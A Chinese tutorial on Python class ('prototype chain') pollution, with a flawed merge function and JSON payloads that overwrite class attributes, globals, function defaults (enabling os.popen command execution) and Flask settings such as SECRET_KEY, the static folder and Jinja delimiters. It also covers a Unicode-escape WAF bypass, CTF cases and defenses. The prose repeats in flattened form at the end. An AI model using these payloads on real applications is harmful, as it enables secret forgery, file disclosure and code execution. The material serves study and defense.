Python prototype chain pollution
字数 1028 2025-08-20 18:18:17

Python原型链污染攻击技术详解

一、原型链污染基础概念

原型链污染(Prototype Pollution)是一种安全漏洞,攻击者通过操纵对象的原型链来修改应用程序行为或执行恶意代码。在Python中,这种攻击通常通过不安全的对象合并(merge)操作实现。

二、核心Merge函数分析

def merge(src, dst):
    # 递归合并函数
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这个merge函数存在以下安全问题:

  1. 递归合并嵌套字典
  2. 允许通过setattr设置任意属性
  3. 没有对特殊属性(如__class__, __globals__等)进行过滤

三、基本攻击方法

1. 通过继承链污染

class ctfer:
    flag = "flag{fake_flag}"

class Delete(ctfer):
    pass

class Chu0(ctfer):
    pass

ctf1 = Delete()
ctf2 = Chu0()

evil_payload = {
    "__class__": {
        "__base__": {
            "flag": "flag{really_flag}"
        }
    }
}

merge(evil_payload, ctf1)  # 污染基类属性

注意:Python中的object属性无法被污染,尝试污染会抛出TypeError。

2. 通过__globals__污染

当不存在继承关系时,可以利用__globals__属性:

evil_payload = {
    "__init__": {
        "__globals__": {
            "flag": "flag{really_flag}"
        }
    }
}

__globals__是函数对象的属性,包含函数定义时的全局变量字典。

四、高级攻击技术

1. 使用sys模块进行跨模块污染

evil_payload = {
    "__init__": {
        "__globals__": {
            "sys": {
                "modules": {
                    "test1": {
                        "Test1": {
                            "flag": "flag{really_flag}"
                        }
                    }
                }
            }
        }
    }
}

2. 使用加载器(Loader)获取sys模块

当题目环境中没有直接导入sys时:

import math
loader = math.__spec__.__init__.__globals__['sys']

3. 函数默认值污染

通过__defaults__污染

def evil(arg_1, shell=False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

evil_payload = {
    "__init__": {
        "__globals__": {
            "evil": {
                "__defaults__": (True,)
            }
        }
    }
}

通过__kwdefaults__污染

def evil(arg_1, *, shell=False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

evil_payload = {
    "__init__": {
        "__globals__": {
            "evilFunc": {
                "__kwdefaults__": {
                    "shell": True
                }
            }
        }
    }
}

五、Flask框架特定攻击

1. 密钥替换攻击

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "Polluted~"
                }
            }
        }
    }
}

2. _got_first_request污染

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "_got_first_request": False
            }
        }
    }
}

3. _static_url_path污染

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "_static_folder": "./"
            }
        }
    }
}

4. 通过os.path.pardir污染

payload = {
    "__init__": {
        "__globals__": {
            "os": {
                "path": {
                    "pardir": ","
                }
            }
        }
    }
}

5. Jinja2模板引擎污染

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "variable_start_string": "[[",
                    "variable_end_string": "]]"
                }
            }
        }
    }
}

六、绕过WAF的技巧

当存在关键词过滤时,可以使用Unicode编码绕过:

{
    "\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": {
        "\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F": {
            "\u0061\u0070\u0070": {
                "\u006A\u0069\u006E\u006A\u0061\u005F\u0065\u006E\u0076": {
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006C\u0065\u005F\u0073\u0074\u0061\u0072\u0074\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "[#",
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006C\u0065\u005F\u0065\u006E\u0064\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "#]"
                },
                "config": {
                    "\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059": "password"
                }
            }
        }
    }
}

七、实际CTF案例分析

1. CTFshow西瓜杯

攻击目标:

  1. 污染app.secret_key为已知值
  2. 污染_static_folder路径为服务器根目录
  3. 实现任意文件读取获取flag

2. DownUnderCTF 2024 - co2

通过污染全局flag变量:

payload = {
    "__init__": {
        "__globals__": {
            "flag": "true"
        }
    }
}

八、防御措施

  1. 避免使用不安全的递归合并函数
  2. 对用户输入的JSON数据进行严格过滤
  3. 禁止设置特殊属性(__class__, __globals__等)
  4. 使用安全的替代方案如dict.update()或第三方安全合并库
  5. 对关键函数和类进行属性设置的白名单控制

九、总结

Python原型链污染是一种强大的攻击技术,可以:

  • 修改类属性
  • 污染全局变量
  • 操纵框架配置
  • 绕过安全限制

理解这些攻击技术有助于开发更安全的Python应用程序和设计更有效的防御措施。

Python原型链污染攻击技术详解 一、原型链污染基础概念 原型链污染(Prototype Pollution)是一种安全漏洞,攻击者通过操纵对象的原型链来修改应用程序行为或执行恶意代码。在Python中,这种攻击通常通过不安全的对象合并(merge)操作实现。 二、核心Merge函数分析 这个merge函数存在以下安全问题: 递归合并嵌套字典 允许通过setattr设置任意属性 没有对特殊属性(如 __class__ , __globals__ 等)进行过滤 三、基本攻击方法 1. 通过继承链污染 注意 :Python中的object属性无法被污染,尝试污染会抛出TypeError。 2. 通过 __globals__ 污染 当不存在继承关系时,可以利用 __globals__ 属性: __globals__ 是函数对象的属性,包含函数定义时的全局变量字典。 四、高级攻击技术 1. 使用sys模块进行跨模块污染 2. 使用加载器(Loader)获取sys模块 当题目环境中没有直接导入sys时: 3. 函数默认值污染 通过 __defaults__ 污染 通过 __kwdefaults__ 污染 五、Flask框架特定攻击 1. 密钥替换攻击 2. _got_first_request 污染 3. _static_url_path 污染 4. 通过os.path.pardir污染 5. Jinja2模板引擎污染 六、绕过WAF的技巧 当存在关键词过滤时,可以使用Unicode编码绕过: 七、实际CTF案例分析 1. CTFshow西瓜杯 攻击目标: 污染 app.secret_key 为已知值 污染 _static_folder 路径为服务器根目录 实现任意文件读取获取flag 2. DownUnderCTF 2024 - co2 通过污染全局flag变量: 八、防御措施 避免使用不安全的递归合并函数 对用户输入的JSON数据进行严格过滤 禁止设置特殊属性( __class__ , __globals__ 等) 使用安全的替代方案如 dict.update() 或第三方安全合并库 对关键函数和类进行属性设置的白名单控制 九、总结 Python原型链污染是一种强大的攻击技术,可以: 修改类属性 污染全局变量 操纵框架配置 绕过安全限制 理解这些攻击技术有助于开发更安全的Python应用程序和设计更有效的防御措施。